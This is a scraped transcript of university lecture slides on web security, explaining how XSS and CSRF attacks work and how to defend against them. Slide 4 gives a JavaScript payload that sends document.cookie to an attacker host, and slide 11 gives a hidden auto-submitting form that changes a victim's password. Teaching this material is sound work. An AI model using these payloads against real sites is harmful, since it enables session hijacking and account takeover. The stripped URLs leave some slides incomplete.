Presentation is loading. Please wait.

Presentation is loading. Please wait.

CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.

Similar presentations

Presentation on theme: "CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz."— Presentation transcript:

1 CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz

2 Administrivia  Zeller-Felten paper on webpage  HW4  Final exam reminder + study guide  Course evaluations –

3 Cross-site scripting (XSS)  Can occur whenever an attacker can influence a script executed at a legitimate host, e.g.: –Dynamically generated pages (search, errors, other) E.g., What happens if the attacker sends

4 Exploits using XSS user logs in malicious URL user clicks… malicious code run credential sent to attacker hijack session var+i =new+Image;+i.src=“” %2bdocument.cookie; var i=new Image; i.src=“” +document.cookie;

5 Key points…  Same-origin policy is respected –The attacker’s script was running in the context of!), so it was able to access the cookie  Phishing likely to succeed –Users only notice that the link is to  Using https does nothing to prevent this attack…

6 Stored XSS vulnerabilities  Occurs when data submitted by a user is stored at the server, and later displayed to other users –Comment on blog post –Wiki –Web-based email –Social networking sites MySpace Samy worm

7 Exploits using XSS user logs in malicious code run credential sent to attacker post malicious code

8 Notes…  No need for phishing any more!  Guaranteed that user is logged in when they run the malicious script –(In previous case, user may not be logged in when they click the attacker-generated URL)

9 Payloads for XSS attacks  Hijack session credentials  Site defacement –E.g.,  Injecting trojan functionality –To obtain, e.g., credit card info  Perform actions on behalf of authenticated users –In an automated fashion! –Without leaving trace of IP address!  More…

10 Cross-domain interactions  Recall… – in bad page would cause legitimate script to run in context of bad page! –Instead, malicious page can initiate a POST request to legitimate page, with arbitrary parameters –Due to the way web authentication is handled (i.e., using a cached credential), http requests will look as if they come from the legitimate user if they are logged in when they view the malicious page

11 Cross-site request forgery (CSRF) 1. Alice’s browser loads page from 2. Script runs causing evilform to be submitted with a password-change request by loading with attacker-specified field 3. Browser sends authentication cookies to good server. Honest user’s password is changed to badpwd ! <form method="POST" name="evilform" target="hiddenframe" action=""> document.evilform.submit(); evilform

12 Notes  Due to same-origin policy, does not have access to any data associated with  When page loaded, it executes script which sends a POST request to with attacker- specified parameters –Browser sends all cookies for along with this request!  Malicious page cannot read user’s data, but can write to user’s account

13 Notes  CSRF for GET requests is even easier (simply use an tag with a crafted URL)

14 Notes  Can be viewed as failure of principle of complete mediation –User should be required to re-authenticate before changing their password  Also (potentially) principle of least privilege –User should log out of a website if not actively using it

15 Potential CSRF vulnerabilities  Anywhere a client can change server-side state –Facebook profiles –Financial sites –Calendars, etc.

16 Notes  XSS attacks exploit the trust a client browser has in data sent from the legitimate website –But attacker controls what the website sends to the client browser  CSRF attacks exploit the trust the legitimate website has in data sent from the client browser –But attacker controls what the client browser sends to the website  XSS vulnerabilities are “more general” –Simply inject a script that, when viewed, submits a form on behalf of the user with parameters chosen by the attacker…

17 Defenses

18 Preventing XSS  Escaping/encoding input  Validation/sanitization –Suppress/escape, “, etc, … at time they are input by a user  Can apply these techniques at the time data is read, or at the time the resulting page is displayed to the client

19 Preventing XSS  Drawbacks –Sometimes these characters may be legitimate –Unclear when all malicious text is filtered out  Very difficult (impossible?) to get sanitization right  Several sanitizers exist… –…and several exploits of them are known  Better to err on the conservative side

20 Preventing XSS  Some work done on preventing XSS attacks at the browser level –Browser plug-ins (e.g., NoScript) –Browser itself (e.g., Google chrome)  Mitigate XSS attacks for session hijacking –“HTTP-only” cookies sent only to the issuing server –Bind cookies to user’s IP address

21 Preventing CSRF attacks  Inspect referrer headers –HTTP protocol specifies a header indicating the URL of the document from which current request originated  So can try to prevent CSRF attacks by ignoring POST requests if the referrer is not  However… –Referrer fields can be absent for legitimate reasons (e.g., new window; stripped by proxies)

22 Complete mediation  Prevent CSRF attacks by requiring user re- authentication  Not practical to do this all the time –User will be come frustrated!  Can require for ‘high-value’ transactions

23 Client-side protection  (Assumes servers do not use GET requests for modifying data)  Browser plug-in that filters out POST requests unless requesting site and target site satisfy same- origin policy –Might still filter out some legitimate requests

24 Server-side protection  Prevent CSRF attacks by allowing the legitimate server to distinguish links in ‘fresh’ pages it serves, from links embedded in attacker pages  Add authenticated “action token” as hidden field in pages served; check token upon POST request –Same-origin policy prevents 3 rd parties from reading the token  Simple idea: embed (nonce, MAC k (nonce)) in page –Why doesn’t this work?

25 “Action tokens”  Need a way to bind token to session –At beginning of session, send cookie with random session-id to user –Compute MAC over the URL and the cookie (note that cookie will be sent in any subsequent requests)  This is potentially vulnerable to XSS attacks –Attacker injects script that steals user’s cookie and token

Download ppt "CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz."

Similar presentations

Ads by Google